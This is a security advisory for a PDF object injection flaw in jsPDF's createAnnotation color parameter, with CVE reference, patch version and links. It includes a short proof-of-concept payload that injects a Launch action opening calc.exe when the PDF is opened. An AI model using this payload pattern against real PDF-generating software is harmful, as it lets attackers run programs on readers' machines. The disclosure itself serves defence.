jsPDF has a PDF Object Injection via FreeText color
### Impact User control of arguments of the `createAnnotation` method allows users to inject arbitrary PDF objects, such as JavaScript actions. If given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with.. * `createAnnotation`: `color` parameter Example attack vector: ```js import { jsPDF } from 'jspdf' const doc = new jsPDF(); const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> ('; doc.createAnnotation({ type: 'freetext', bounds: { x: 10, y: 10, w: 120, h: 20 }, contents: 'hello', color: payload }); doc.save('test.pdf'); ``` ### Patches The vulnerability has been fixed in jsPDF@4.2.1. ### Workarounds Sanitize user input before passing it to the vulnerable API members.
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2026-31898US | medium6.5 | — | ||
jsPDF is a library to generate PDFs in JavaScript. Prior to version 4.2.1, user control of arguments of the `createAnnotation` method allows users to inject arbitrary PDF objects,… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/parallax/jsPDFPACKAGE
- https://github.com/parallax/jsPDF/blob/b1607a9391d4cd65ea7ade25998aea8345ae1be3/src/modules/annotations.js#L193-L208WEB
- https://github.com/parallax/jsPDF/commit/4155c4819d5eca284168e51e0e1e81126b4f14b8WEB
- https://github.com/parallax/jsPDF/releases/tag/v4.2.1WEB
- https://github.com/parallax/jsPDF/security/advisories/GHSA-7x6v-j9x4-qf24WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-31898ADVISORY
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan